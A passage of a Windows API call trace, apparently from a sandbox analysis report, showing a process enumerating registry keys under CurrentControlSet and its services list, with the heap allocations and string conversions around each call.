(HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.572] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.572] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.572] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0228.572] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0228.572] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1970, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0228.573] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.573] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.573] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.573] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.573] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0228.573] RegCloseKey (hKey=0xc4) returned 0x0 [0228.573] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0228.573] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.573] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0228.573] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.573] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.573] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.573] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.573] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0228.573] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0228.573] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1970, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0228.573] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.573] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.573] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.573] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.573] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0228.573] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0228.573] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1b68, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0228.574] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.574] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.574] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.574] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.574] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0228.574] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.574] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0228.574] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.574] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.574] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.574] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.574] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0228.574] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.574] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0228.574] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.574] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.574] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.574] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.574] RegOpenKeyExW (in: hKey=0x148, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0228.574] RegCloseKey (hKey=0x148) returned 0x0 [0228.574] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0228.574] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0228.574] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1970, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0228.575] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.575] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.575] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.575] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.575] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0228.575] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0228.575] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1b68, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0228.575] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.575] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.575] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.575] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.575] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0228.575] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0228.575] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1970, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0228.575] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.575] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.575] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.575] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.575] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0228.575] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0228.575] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1b68, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0228.575] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.575] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.575] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.576] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.576] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0228.576] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0228.576] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1970, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0228.576] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.576] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.576] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.576] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.576] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0228.576] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0228.576] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1b68, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0228.576] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.576] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.576] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.576] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.576] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0228.576] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0228.576] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1970, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0228.576] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.576] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.576] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.576] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.576] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0228.576] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.577] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0228.577] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.577] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.577] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.577] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.577] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0228.577] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0228.577] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1970, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0228.577] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.577] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.577] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.577] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.577] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0228.577] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.577] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0228.577] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.577] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.577] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.577] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.577] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0228.577] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0228.577] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1970, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0228.577] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.577] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.578] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.578] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.578] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0228.578] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.578] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0228.578] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.578] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.578] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.578] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.578] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0228.578] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.578] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0228.578] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.578] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.578] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.578] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.578] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0228.578] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.578] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0228.578] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.578] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.578] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.578] RtlFreeHeap (HeapHandle=0x2520000, 